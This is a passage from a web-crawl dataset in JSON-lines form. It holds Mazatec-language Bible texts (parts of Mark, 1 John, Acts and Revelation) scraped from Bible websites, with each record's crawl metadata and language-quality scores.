yijo‑la̱.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/12","date":"2016-05-29T13:31:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049279525.46\/warc\/CC-MAIN-20160524002119-00096-ip-10-185-217-139.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":1077,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 1:1 Ijyee kjin ma-ni xita ra tsikinda-te xajon jna kjoa kixi ra kjoma ajin naxinda ra a'ta 'tse Cristo.\nJohn 3:16 'Nga̱ jè Nainá batoó 'ñó kjotsjake xi̱ta̱ i̱sà'nde, nga kitsjá jè I'ndí‑la̱ ra ta jè ta̱jngo‑ni, mé‑ni nga nga'tsì xi̱ta̱ ra ko̱kjiín‑la̱ a̱'ta 'tse̱, mì kì jchi̱ja, ta isa̱á 'se̱‑la̱ kjo̱binachon ra mì fehe'ta skanda ta kjiá‑nioo̱.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/gospelgo.com\/z\/MAA\/NT.htm","date":"2017-03-28T15:54:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189802.18\/warc\/CC-MAIN-20170322212949-00579-ip-10-233-31-227.ec2.internal.warc.gz","language":"maa","language_score":0.999984622,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"maa_Latn_score\": 0.999984622001648}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.281,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ra koni tsa ndí i̱xti‑na̱ xin‑no, kií xá tíbindá‑no jè xa̱jo̱n ra̱kìi̱, mé‑nì nga mì ti̱ tsja jé kjótsji‑no. Tanga tsa tjín jngo xi̱ta̱ ra tíbátsji-jé‑la̱ ijo‑la̱, jé Nainá si̱hijcha'ta‑la̱, nga̱ tíjna jngo‑ná xi̱ta̱ ra chja̱tjí‑ná ya̱ ngixko̱n Nainá, jè ra 'mì Jesucristo ra ngi xi̱ta̱ kixi̱. 2Jesucristo kitsjà kjo̱tjó ijo‑la̱ nga 'ken ngajo‑ná, mé‑ni nga ko̱ma si̱hijcha'ta‑ná jñà jé‑ná, tanga mì tsa tà jién ra si̱hijcha'ta‑ná; ti̱'koa̱á si̱hijcha'ta ijyeé‑la̱ nga'tsì xi̱ta̱ ra tjín nga tjíjtsa i̱sà'nde. 3Tsa nda si̱hitjasén kjo̱téxoma‑la̱, maá kíjngo‑lá takén nga ijyeé ndaá 'yaxkeén ra jè. 4Tsa tjín xi̱ta̱ ra tsò: \"'A̱n, ijyeé nda bexkoo̱n ra jè\", tanga tsa mì kì nda tísíhitjasòn‑ni kjo̱téxoma‑la̱, xi̱ta̱ ndiso‑ní; tsìn‑la̱ ra kjo̱hixi̱. 5Tanga tsa nda tjinihitjasén koni 'sín nga tsò 'én‑la̱ ijyeé 'ñó nda tjín‑ná kjo̱tsjacha‑la̱ Nainá, ko̱ 'koa̱á 'sín ma‑ni nga 'ya‑la̱ nga kixi̱í kjoa̱ nga jè Cristo titsa̱jnake̱é. 6Jè xi̱ta̱ ra tsò nga ya̱á tíjnako̱ Cristo, machjeén‑ní nga ko̱'sín katasíjchá ijo‑la̱ koni 'sín ki'sìn Jesucristo. 7Jiòn ndí 'ndsé ko̱ ndí tichjeé, jè kjo̱téxoma ra tíbindá‑no, mì tsa ngi kjo̱téxoma xi̱tse̱‑jìn; ti̱jé‑ni kjo̱téxoma ra ki'tsì‑no nga 'sa̱ ítjòn 'kia̱ nga ti̱'sa̱ kjokjiín‑no. Jè kjo̱téxoma jchínga ra̱kìi̱, ti̱jé‑ni 'én ra a̱sa ina'yá jiòn nga ti̱'sa̱ ítjòn. 8Tanga 'ndi̱ 'ndi̱, 'koa̱á 'sín tíbindá‑no koni tsa jngo kjo̱téxoma xi̱tse̱. Nga̱, ra a̱'ta 'tse̱ Cristo, kijchaá‑la̱ nga xi̱tse̱‑ní ko̱ ti̱'koa̱á tí'yaá‑te‑la̱ ra a̱'ta tsa̱jiòn. Nga̱ ijyeé tíbato kjoa̱ ra jñò tjín, ko̱ ijyeé tí'ya‑la̱ ra ngi kixi̱ kjoa̱ nga kjoa̱ isen tjín. 9Tsa jngo xi̱ta̱ ko̱'sín tsò nga 'koa̱á 'sín tísíjchá ijo‑la̱ koni 'sín tjín kjoa̱ isen‑la̱ Nainá, tanga tsa jtikeé tí'sín‑ni xi̱ta̱ xákjén ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱, mì tsa kixi̱‑ni kjoa̱ nga isen tísíjchá ijo‑la̱, takó ya̱á tíjnajin‑ni ya̱ ñánda̱ nga jñò chon. 10Jè xi̱ta̱ ra tsjake xi̱ta̱ xákjén ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱, 'koa̱á 'sín tísíjchá ijo‑la̱ koni 'sín tjín kjoa̱hisen‑la̱ Nainá. Jè xi̱ta̱ ra̱kìi̱, mì tsa ti̱ mé tjín‑ni ra ma koa̱àtsji-jé‑la̱. 11Tanga jè xi̱ta̱ ra jtike xi̱ta̱ xákjién ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱, ya̱á tíjna, ko̱ ya̱á tsá'baya ya̱ ndi̱yá ñánda̱ nga jñò chon. Mì kì be ñánda̱ tífì, nga̱ jè kjoa̱jñò, tjíchjàjin‑la̱ inìma̱‑la̱. 12Jiòn ra ndí i̱xti 'mì‑no, tíbindá‑no jè xa̱jo̱n ra̱kìi̱, nga̱ a̱'ta 'tse̱ Cristo‑ní nga ijye isìhijcha'ta‑no Nainá jñà jé ra tjín‑no. 13Jiòn ra xi̱ta̱ jchínga 'mì‑no, tíbindá‑no jè xa̱jo̱n ra̱kìi̱, nga̱ ijyeé kijchaxkon jè Jesucristo ra tíjna‑ni skanda ti̱'sa̱ tjà'tsin‑la̱ i̱sà'nde. Jiòn i̱xti ra 'sa̱ i̱nchiníjchá ijo‑no, tíbindá‑no jè xa̱jo̱n ra̱kìi̱, nga̱ ijyeé inikijne‑la jè xi̱ta̱‑ni̱í. Jiòn ra ndí i̱xti 'mì‑no, ijyeé ítsikindá‑no jè xa̱jo̱n ra̱kìi̱ nga̱ ijye kijchaxkon jè Nainá ra Na̱'ìn 'mí‑lá. 14Ijyeé ítsikindá‑no xa̱jo̱n, jiòn ra xi̱ta̱ jchínga 'mì‑no, ta nga̱tjì‑la̱ nga̱ ijyeé kijchaxkon Jesucristo ra tíjna‑ni skanda ti̱'sa̱ tjà'tsin‑la̱ i̱sà'nde. Ti̱'koa̱á ijyeé ítsikindá‑no jiòn i̱xti ra 'sa̱ i̱nchiníjchá ijo‑no, ta nga̱tjì‑la̱ nga̱ tjín‑no nga'ñó ko̱ ijyeé ya̱ tíjnajin inìma̱‑no jè 'én‑la̱ Nainá ko̱ ijyeé inikijne‑la jè xi̱ta̱‑ni̱í. 15Kì jñà matsjacha jñà kjoa̱ ra tjín ya̱ i̱sà'nde. Tsa yá xi̱ta̱ ra matsjake jñà kjoa̱ ra tjín ya̱ i̱sà'nde, mì tsa kixi̱‑ni kjoa̱ nga matsjake Nainá ra Na̱'ìn 'mì‑lá. 16Nga'tsì kjoa̱'cho ra jè i̱sà'nde bí'ta‑ná, mì tsa ya̱ nchrabá‑ni a̱'ta 'tse̱ Nainá ra Na̱'ìn 'mì‑lá. Ti̱ya̱á tísinda‑ni i̱ i̱sà'nde. Jñà kjoa̱'cho ra tjín ya̱ i̱sà'nde, jñá kìi̱: kjoa̱'cho ra síjé ijo‑ná, kjoa̱ ra tsijen‑la̱ xkén nga mején‑ná tsa̱jién 'kín‑lá, ko̱ kjoa̱'ngatakòn ra 'tse̱ kjoa̱nchi̱ná. 17Nga'tsì kjoa̱'cho ra tjín ya̱ i̱sà'nde, ko̱ kjoa̱ ra ya̱ faajin‑ná, ijyeé ta tíbato‑ní, tanga jè xi̱ta̱ ra síhitjasòn koni 'sín mejèn‑la̱ Nainá, kíjnakon‑ní skanda tà mé ni̱chjin‑ni. 18Jiòn ra ndí i̱xti xin‑no, ijyeé tífehe'ta ni̱chjin. Ijyeé tjíjin‑no nga kj'i̱í jngo xi̱ta̱ ra ngi kondra̱ tíjna‑la̱ Cristo. Ko̱ ni̱chjin 'ndi̱ 'ndi̱ ijyeé ko̱'sín 'ñó kjìn ma‑ni ra kondra̱ i̱nchifì‑la̱ Cristo. 'Koa̱á ma‑ni nga ko̱'sín machi̱ya‑ná nga ijyeé tífehe'ta ni̱chjin. 19Jñà xi̱ta̱ kìi̱, ti̱ i̱í itjokàjin‑ná, tanga ra kixi̱ kjoa̱ mì tsa ngi xi̱ta̱ tsa̱jién ma, nga̱ tsa kixi̱í‑la kjoa̱ nga xi̱ta̱ tsa̱jién, i̱í‑la títsa̱jnako̱‑ná. Tanga kií ko̱'sín itjokàjin‑ná jñà xi̱ta̱ kìi̱ mé‑ni nga nda kjòn‑ní kata'ya‑la̱ nga nga'tsì xi̱ta̱ ra ko̱'sín kondra̱ fì‑la̱ Cristo mì tsa ngi xi̱ta̱ tsa̱jién. 20Jè Jesucristo, ra xi̱ta̱ tsje, ijyeé kitsjà‑no jè Inìma̱ Tsje‑la̱ Nainá; 'koa̱á 'sín ma‑ni nga nga'tsì‑najiòn ijyeé nda tjíjin‑no kó'sín tjín ra kjoa̱kixi̱. 21'Koa̱á ma‑ni nga ko̱'sín tíbindá‑no xa̱jo̱n, nga̱ ijyeé nda tjíjin‑no; mì tsa ki‑ni nga kjè 'ya jiòn ra kjoa̱kixi̱. Ko̱ ijyeé nda 'ya jiòn nga ni̱jngo 'én ndiso ya̱ nchrabá'ta‑ni ra a̱'ta 'tse̱ kjoa̱kixi̱. 22¿Yá‑ni ra xi̱ta̱ ndiso? Jè‑ní ra bí'ma nga tsò: \"Jè Jesús mì tsa jè‑jìn ra Cristo, [mì tsa Nainá isìkasén‑jìn].\" Jé xi̱ta̱ ra̱kìi̱ ra kondra̱ fì‑la̱ Cristo nga̱ jngó kjá mì kì makjiín‑la̱ ra a̱'ta 'tse̱ Nainá ra Na̱'ín‑ná ma ko̱ a̱'ta 'tse̱ Jesucristo ra I'ndí‑la̱ Nainá. 23Nga'tsì xi̱ta̱ ra jngó kjá mì kì makjiín‑la̱ a̱'ta 'tse̱ I'ndí‑la̱ Nainá, mì tsa Nainá ra Na̱'ín‑ná ma tíjnako̱. Tanga jè xi̱ta̱ ra makjiín‑la̱ ti̱'koa̱ tsjá 'én‑la̱ nga jè Jesús ra I'ndí‑la̱ Nainá, ya̱á tíjnako̱ Nainá ra Na̱'ín‑ná ma. 24Kií ko̱'sín xin‑no, ndaá tijin takòn ya̱ inìma̱‑no jè 'én ra a̱'ta 'tse̱ Cristo ra ko̱'sín ijye ina'yá jiòn skanda ti̱'sa̱ ítjòn. Tsa ko̱'sín nda kíjin takòn jiòn ya̱ inìma̱‑no, ti̱'koa̱á ndaá ki̱tsa̱jnako̱o Nainá ra Na̱'ín‑ná ma ko̱ I'ndí‑la̱. 25Jesucristo, 'koa̱á 'sín ijye kitsjá 'én‑la̱ nga tsjá‑ná kjo̱binachon ra mì fehe'ta ni̱ta kjiá‑nioo̱. 26Kií xá tíbindá‑no jè xa̱jo̱n ra̱kìi̱ mé‑ni nga ma jcha̱xkon‑no jñà ra mejèn‑la̱ nga sko̱ónda̱cha̱‑no. 27Tanga jiòn, ijyeé tjíjin ya̱ inìma̱‑no jè Inìma̱ Tsje‑la̱ Nainá ra kitsjà‑no Jesucristo. Mì ti̱ kì machjeén‑ni tsa yá ra ko̱kòn‑ya‑no. Nga̱ jè sabá Inìma̱ Tsje‑la̱ Nainá 'ke̱èna̱jmíya‑no kó'sín tjín nga'tsì kjoa̱ ra nda tjióo̱n. Koni 'sín nga ko̱kòn‑ya‑no, 'én kixi̱‑ní, mì tsa 'én ndiso‑jìn. Ko̱'sín nda ti̱tsa̱jnajtín'ta ki'ta‑la Jesucristo, koni 'sín nga síchi̱ya‑no Inìma̱ Tsje‑la̱ Nainá. 28Jiòn ra ndí i̱xti xin‑no, ko̱'sín nda titsa̱jnajtínko̱o Cristo, mé‑ni nga 'ñó tjín‑ni takén ko̱ mì kì tsa ko̱sabà‑ná 'kia̱ nga jè ra ki̱tjojen india‑ni ján ngajmi. 29Koni 'sín ijye tjíjin‑no nga jè ra Cristo, xi̱ta̱ kixi̱‑ní ya̱ ngixko̱n Nainá, 'koa̱á ti̱'sín nda katasijin‑te‑no, nga nga'tsì xi̱ta̱ ra kjoa̱kixi̱ 'sín ya̱ ngixko̱n Nainá, i'ndí‑la̱ Nainá‑ní.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/1John\/2","date":"2017-08-23T14:49:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886120573.0\/warc\/CC-MAIN-20170823132736-20170823152736-00478.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":991,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ya̱ na̱xi̱ndá Iconio, jè Pablo ko̱ Bernabé, 'koa̱á ti̱'sín 'jaha'sen ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; 'ñó nda kiìchja̱ya, skanda batoó kjìn xi̱ta̱ judío kjokjiín‑la̱ ko̱ ra kj'ií xi̱ta̱ ra mì tsa xi̱ta̱ judío. 2Tanga jñà xi̱ta̱ judío ra mì kì makjiín‑la̱, tsinchá'a jñà ra mì tsa xi̱ta̱ judío mé‑ni nga 'cho tsò kjo̱bítsjen katasíchjeén ra kondra̱ 'tse̱ xi̱ta̱‑la̱ Cristo. 3Pablo ko̱ Bernabé, tseé tsikitsa̱jna ya̱ Iconio. Kiìchja̱ táhijín 'én‑la̱ Nainá, nga̱ jé ma'ñó'ta takòn. Ko̱ jè Nainá isìkixi̱ya‑ní nga ngi kixi̱í kjoa̱ jñà 'én ra tsi'kéna̱jmí a̱'ta 'tse̱ kjo̱nda‑la̱, nga kitsjà‑la̱ nga'ñó nga ma ki'sìn kjo̱xkón ra bakón kjoa̱jeya‑la̱ Nainá. 4Jñà xi̱ta̱ na̱xi̱ndá Iconio, jòya kjomà; masen kijì'ta‑la̱ jñà xi̱ta̱ judío ko̱ masen kijì'ta‑la̱ jñà Pablo ko̱ Bernabé, xi̱ta̱ ra tsikíxáya‑la̱ Jesús. 5Jñà xi̱ta̱ judío ko̱ ra mì tsa xi̱ta̱ judío tsajo̱óya‑ni ko̱ xi̱ta̱xá ítjòn‑la̱ nga mejèn‑la̱ ska̱jàn‑ko̱, ko̱ ki̱ìnè na̱jo̱. 6Pablo ko̱ Bernabé, 'kia̱ nga ijye kií'nchré, tsanga‑ní; ya̱á kijì ya̱ ján Listra ko̱ Derbe, na̱xi̱ndá ra chja̱‑ni Licaonia, ko̱ kóhotjín i̱'nde ra chja̱‑ni ya̱ jngo tjandi‑la̱. 7Ya̱ i̱'nde kìi̱, ti̱'koa̱á tsi'kéna̱jmíya 'én xi̱tse̱‑la̱ Cristo ra nda tsò. 8Ya̱ Listra tíjna jngo xi̱ta̱ 'xi̱n ra mì kì ma fì skanda ti̱'sa̱‑ni nga kitsin; ni̱ kjè sa jngo ni̱chjin ndsa̱ko̱ bajme‑ni. Ya̱á tíjna xi̱ta̱ ra̱kìi̱ 9nga tí'nchré‑la̱ Pablo nga tí'béna̱jmíya. Jè Pablo, 'kia̱ nga isko'án kijtse‑ní nga makjiín‑la̱ nga ma ko̱nda‑ni. 10Pablo, 'ñó kiìchja̱ kitsò‑la̱: ―¡Ti̱sítji̱in, ti̱si̱jna kixi̱‑ni ndsa̱kì! Xi̱ta̱ ra̱kìi̱, ta jngo iskì'nga nga tsasèn kixi̱‑ni; tsikí'tsia̱ nga ma tsajme‑ni. 11Jñà xi̱ta̱, 'kia̱ nga kijtse kjo̱xkón nda ra ki'sìn Pablo, 'ñó kiìchja̱, kitsò nga 'én Licaonia: ―¡Jñà nainá, xi̱ta̱á ká'sín ijo‑la̱ nga ka'fií'tsé‑ná! 12Bernabé, Zeus kitsò‑la̱; ko̱ jè Pablo, Hermes kitsò‑la̱, nga̱ jè‑ní ra isa̱ 'ñó chja̱. 13Jè i̱ngo̱‑la̱ nainá xkósòn Zeus, ya̱á kjijna a̱ndi na̱xi̱ndá. Jè na̱'mì‑la̱ 'jiìkó nchra̱ja̱ ko̱ 'jiìkó koròna̱; jè na̱'mì ra̱kìi̱ ko̱ nga'tsì xi̱ta̱ na̱xi̱ndá mején‑la̱ si̱ì'ken‑la̱ jñà nchra̱ja̱ ko̱ tsjá‑la̱ kjo̱tjò mé‑ni nga ske̱xkón‑ni. 14Jè Pablo ko̱ Bernabé ra jè Jesús tsikíxáya‑la̱, 'choó kjomà‑la̱ 'kia̱ nga kijtse kjoa̱ ra i̱nchi'sín xi̱ta̱; iskíchrja̱yajno ijo‑la̱ jè nikje‑la̱, a̱kjòn 'jaha'sen‑jin‑la̱ xi̱ta̱. 'Ñó kiìchja̱, kitsò: 15―Nda ti̱ná'ya, ¿mé‑ni ko̱'sín i̱nchi'nià‑no? Ngaji̱n, ti̱'koa̱á taxki̱ xi̱ta̱‑náji̱n koni jiòn. Kií xá kà'fìi̱ jnchro‑naji̱n nga 'kéna̱jmí‑laji̱n 'én xi̱tse̱‑la̱ Cristo ra nda tsò, mé‑ni mì kì ti̱ ko̱'sín 'sia̱n‑no kjoa̱ kìi̱ ra ni̱mé chjí‑la̱; jè tangí'ta‑la Nainá ra tíjnakoo̱n, jè ra tsikínda ngajmi ko̱ nangi; ti̱'koa̱ tsikínda ndáchikon, ko̱ nga'tsì tsajmì ra tjín. 16Jñà ni̱chjin ra ijye tsato, Nainá kitsjá'nde‑la̱ nga'tsì na̱xi̱ndá ra tjín i̱ i̱sà'nde nga tsinchimaya ndi̱yá ra isasèn‑la̱. 17Tanga Nainá, kji'tá ni̱chjin nda tí'ya tsijen‑la̱ yá‑ní ra jè, nga tí'ya‑la̱ nga'tsì kjo̱nda ra tí'sín; jè‑ní ra tísíkasén‑no jtsí ra ngajmi nchrabá‑ni; ko̱ títsjá‑no tsajmì ra tímajchá‑no ko̱ títsjá‑no nga'tsì tsajmì ra machjeén‑no ra ma chine mé‑ni nga 'se̱ ki'ta‑no kjo̱tsja ya̱ a̱jin inìma̱‑no. 18Pablo ko̱ Bernabé, ni̱'sín ko̱'sín kitsò‑la̱ nga'tsì kjoa̱ kìi̱, 'ñó chjá kjomà‑la̱ nga tsatékjáya‑la̱ xi̱ta̱ na̱xi̱ndá nga kì tà chjà cho̱ sí'ken‑la̱ koni jngo kjo̱tjò ra tsjá‑la̱. 19Ti̱'kia̱á‑ni, 'jií i'ka xi̱ta̱ judío ra inchrabà‑ni Antioquía ko̱ Iconio nga tsinchá'a jñà xi̱ta̱ na̱xi̱ndá nga tsikínè na̱jo̱ jè Pablo. 'Kia̱ nga ijye ko̱'sín isìko̱, 'koa̱á kjomà‑la̱ koni tsa ijyeé 'ken; a̱kjòn tsikí'ndo̱fe'ta ya̱ nangi, kiì síkàtje̱n ya̱ a̱ndi na̱xi̱ndá ján. 20'Kia̱ nga jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo kjóxkó'ta‑la̱ Pablo ñánda̱ nga kjijna, Tsasítje̱én india‑ni; 'jaha'sen‑jin india‑ni ya̱ na̱xi̱ndá; ko̱ ra kjomà nchijòn kijì ko̱ Bernabé ján Derbe. 21'Kia̱ nga ijye tsi'kéna̱jmíya 'én xi̱tse̱‑la̱ Cristo ra nda tsò ya̱ na̱xi̱ndá Derbe, ñánda̱ nga 'ñó kjìn xi̱ta̱ kjokjiín‑la̱ nga kijì'ta‑la̱ Jesús, kijì india‑ni ya̱ Listra, Iconio ko̱ ya̱ Antioquía. 22Pablo ko̱ Bernabé kitsjá‑la̱ 'én nga 'ñó kata'bé‑la̱ ikon jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo ra títsa̱jna ya̱ na̱xi̱ndá kìi̱; tsi'kéna̱jmí‑la̱ nga kixi̱ katitsa̱jnako̱ 'én ra makjiín‑la̱; kitsò‑la̱: ―'Koa̱á 'sín tjínè‑la̱ nga tse kjo̱hi'in ko̱tojieén 'kia̱ nga ti̱'sa̱ i̱nchimangié i̱'nde ñánda̱ nga ki̱tjáha̱'se̱n‑jieén ñánda̱ nga tíbatéxoma Nainá. 23Nga jngó jngó i̱'nde ñánda̱ nga tjín na̱xi̱ndá‑la̱ Cristo, Pablo ko̱ Bernabé tsjahíjin xi̱ta̱ jchínga ra tsikí'ta xá nga si̱ìkinda̱ na̱xi̱ndá‑la̱ Cristo; 'kia̱ nga ijye kiìchja̱'ta‑la̱ Nainá, ko̱ ijye tsikìtsa̱jnachjan, ya̱á isìnga̱tsja xi̱ta̱ kìi̱ ya̱ a̱ya tsja Nainá ra ijye ya̱ a̱'ta 'tse̱ kjokjiín‑la̱. 24'Koa̱á 'sín 'jahato ya̱ i̱'nde Pisidia, nga ijchò‑ni nangi Panfilia. 25Tsi'kéna̱jmí 'én‑la̱ Cristo ya̱ na̱xi̱ndá Perge, a̱kjòn kijì ya̱ Atalia. 26Ya̱á 'jaha'sen chitso nga kijì india‑ni ya̱ Antioquía, ya̱ i̱'nde ñánda̱ nga isatéxá‑la̱ a̱'ta 'tse̱ kjo̱nda‑la̱ Nainá jè xá ra ijye itjasòn‑la̱. 27'Kia̱ nga ijye ijchò‑ni ya̱ Antioquía, tsikíxkóya xi̱ta̱ na̱xi̱ndá‑la̱ Cristo; tsi'kéna̱jmí‑la̱ nga'tsì kjoa̱ ra isìko̱ Nainá, kó'sín kjomà'tin nga jè Nainá kitsjá'nde‑ní nga ti̱'koa̱ kjokjiín‑la̱ jñà ra mì tsa xi̱ta̱ judío. 28Pablo ko̱ Bernabé, tseé tsikitsa̱jnako̱ xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo ya̱ Antioquía.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/14","date":"2017-08-22T19:27:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886112539.18\/warc\/CC-MAIN-20170822181825-20170822201825-00480.warc.gz","language":"maa","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000081062316895}","num_words":758,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19Jè na̱xa̱ndá je xi 'ñó ndaà yaxkon‑la̱, jàn ya komà. Ko̱ jñà na̱xa̱ndá xi chja̱‑ne nga ìjngoò ìjngoò nangui xi tjín i̱sò'nde, jngoò k'aá kichijà. Ko̱ jè na̱xa̱ndá je xi 'mì Babilonia xi 'ñó ndaà yaxkon‑la̱, mìkiì kisìjchàajiìn Nainá nga kitsjaà‑la̱ kjo̱'in, k'oa̱á ngaya‑la̱ koni kisìk'iì jngoò chi̱tsín xi tjíya vino xi nguì kjoa̱jti‑la̱ Nainá xi jè jye tíjnandaà‑la̱.\nApocalipsis 16:19\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/16\/19","date":"2017-08-18T09:28:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104631.25\/warc\/CC-MAIN-20170818082911-20170818102911-00220.warc.gz","language":"maa","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999897480010986}","num_words":64,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà ni̱chjin kìi̱, 'kia̱ nga ijye 'ñó tímakjìn‑ya jñà xi̱ta̱ ra koté'yá'ta‑la̱ Jesús ra kjokjiín‑la̱ ra a̱'ta 'tse̱, jñà xi̱ta̱ ra chja̱ 'én griego tsikí'tsia̱‑ní nga tsakjajé'tin jñà xi̱ta̱ ra chja̱ 'én hebreo, nga jñà íchjín jch'a̱n ra 'ken 'xi̱n‑la̱ ra 'tse̱ xi̱ta̱ griego, mì kì ko̱'sín tí'bì‑la̱ tsajmì ra kjine koni 'sín tí'bì‑la̱ jñà íchjín jch'a̱n 'tse̱ xi̱ta̱ hebreo. 2Jñà xi̱ta̱ ra tejò ma‑ni ra tsikíxáya‑la̱ Jesús, tsikíxkóyaá nga'tsì xi̱ta̱ ra i̱nchikotá'yá'ta‑la̱ Jesús, kitsò‑la̱: ―Mí‑la kì nda tjín tsa ki̱jmí‑ji̱n jè xá‑la̱ Nainá nga mì ti̱ kì 'kéna̱jmíya‑naji̱n jè 'én nda‑la̱, ko̱ tsa ta jñá chítsijen ji̱n mé ra chija'ta‑la̱ jñà xi̱ta̱ i̱ma̱. 3'Ndsé, ito xi̱ta̱ 'xi̱n chjáajion mé‑ni nga jñà ko̱nga̱tsja‑ni xá kìi̱, jñà ra 'ya nga nda i̱nchisíjchá ijo‑la̱ nga ndaá tjíjin inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá nga ti̱'koa̱ tjín‑la̱ kjo̱bítsjen. 4Ngaji̱n, kji'tá ni̱chjin ki̱nákjoa̱'ta‑la̱ji̱n Nainá; ti̱'koa̱ ko̱kón‑ya‑ji̱n jè 'én‑la̱ Nainá. 5Jñà 'én kìi̱, ndaá isasèn‑la̱ nga'tsì xi̱ta̱. 'Kia̱á jahíjin jè Esteban, jngo xi̱ta̱ 'xi̱n ra nda makjiín‑la̱ a̱'ta 'tse̱ Nainá ti̱'koa̱ nda tjíjin inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. Jahíjin‑te jè Felipe, Prócoro, Nicanor, Timón, Parmenas, ko̱ Nicolás ra Antioquía i̱'nde‑la̱ ra jahatjìya‑la̱ nga ya̱ 'jaha'sen‑jin‑la̱ xi̱ta̱ judío. 6Jñà xi̱ta̱ ra itjahájin, isinchá masen‑ní ya̱ ngixko̱n xi̱ta̱ ra tsikíxáya‑la̱ Jesús. Ko̱ jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús kiìchja̱'ta‑la̱ Nainá ko̱ tsakásòn‑la̱ tsja nga isìnga̱tsja xá. 7Isa̱á 'ñó tsabísòn‑isa 'én‑la̱ Nainá. Sa 'ñó sa 'ñó kjokjìn‑isa jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ya̱ na̱xi̱ndá Jerusalén. Skanda kjín ma‑ni na̱'mì Judío ra kjokjiín‑la̱ ra a̱'ta 'tse̱ Jesús. 8Jè Esteban, 'ñó nda ki'se‑la̱ nga'ñó ko̱ kjo̱nda ra a̱'ta 'tse̱ Nainá. 'Koa̱á kjomà‑ni nga kjìn kjo̱xkón ki'sìn ra bakón kjoa̱jeya‑la̱ Nainá ya̱ a̱jin na̱xi̱ndá. 9Tjín i'ka xi̱ta̱ ra ya̱ chja̱‑ni ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío ra ijye tjíhijyondi̱í‑ni ko̱ xi̱ta̱ 'tse̱ na̱xi̱ndá Cirene ko̱ 'tse̱ Alejandría, ko̱ xi̱ta̱ ra ya̱ i̱'nde‑la̱ Cilicia ko̱ Asia. Tsikí'tsia̱ nga tsakátikjo‑ko̱ jè Esteban. 10Tanga jñà xi̱ta̱ kìi̱, mì kì kjomà isikijne‑la̱, nga̱ ki, jè Esteban, ko̱ó kjo̱bítsjen 'tse̱ Inìma̱ Tsje‑la̱ Nainá kiìchja̱. 11Jñà xi̱ta̱ kìi̱, 'kia̱á tsakátsji i'ka xi̱ta̱ ra tsikíchjí‑la̱ nga kitsjà 'én ndiso; kitsò: ―Kàna'yá‑la̱ji̱n jè Esteban nga chja̱jno‑la̱ Moisés ko̱ Nainá. 12'Koa̱á 'sín kjomà‑ni nga kjojti‑la̱ jñà xi̱ta̱ na̱xi̱ndá ko̱ jñà xi̱ta̱ jchínga ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. 'Kia̱á itsabá'ñó jè Esteban, kiìko̱ ya̱ ñánda̱ nga títsa̱jnajtín jñà xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ judío. 13Ko̱ ijchòko̱ xi̱ta̱ ra kitsjà 'én ndiso, nga kitsò: ―Jè xi̱ta̱ ra̱kìi̱, mì kì jyò bijna; kji'tá ni̱chjin chja̱jno‑la̱ jè I̱ngo̱ Tsje‑la̱ Nainá ra̱kìi̱, ko̱ kjo̱téxoma‑la̱ Moisés. 14Ijyeé ko̱'sín ina'yá‑la̱ji̱n nga tsò 